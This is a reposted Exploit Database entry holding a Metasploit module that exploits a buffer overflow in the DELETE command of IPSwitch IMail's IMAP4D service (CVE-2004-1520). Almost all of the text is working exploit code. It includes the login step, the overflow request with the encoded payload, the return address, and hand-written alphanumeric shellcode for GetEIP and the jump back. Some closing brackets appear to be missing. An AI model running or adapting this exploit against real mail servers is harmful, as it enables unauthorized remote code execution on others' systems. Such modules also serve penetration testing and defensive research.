IPSwitch IMail IMAP4D – Delete Overflow (Metasploit)

Exploit Database
108 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16479/

# $Id: imail_delete.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Imap

def initialize(info = {})

super(update_info(info,

'Name' => 'IMail IMAP4D Delete Overflow',

'Description'=> %q{

This module exploits a buffer overflow in the 'DELETE'

command of the the IMail IMAP4D service. This vulnerability

can only be exploited with a valid username and password.

This flaw was patched in version 8.14.

'Author' => [ 'spoonm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'CVE', '2004-1520'],

[ 'OSVDB', '11838'],

[ 'BID', '11675'],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC'=> 'thread',

'Payload'=>

{

'Space'=> 614,

'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),

'StackAdjustment' => -3500,

'EncoderOptions' =>

{

'BufferRegister' => 'EDX',

}

'Platform' => 'win',

'Targets'=>

[

# alphanum rets :(, will look more into it later

['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],

'DisclosureDate' => 'Nov 12 2004',

'DefaultTarget' => 0))

end

def exploit

connect_login

print_status("Sending overflow string...")

req = 'A683 DELETE '

req << payload.encoded

# Jump over code

req << "\x74\x32\x75\x30"

req << [target.ret].pack('V')

req << rand_text_alphanumeric(44)

# GetEIP code

req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"

req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"

# Alphanumeric jmp back (edx context)

req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"

req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"

req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"

req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"

# Run off the stack, so we don't kill our payload, or something...

req << rand_text_alphanumeric(600)

# Terminate the request

req << "\r\n"

sock.put(req)

handler

disconnect

end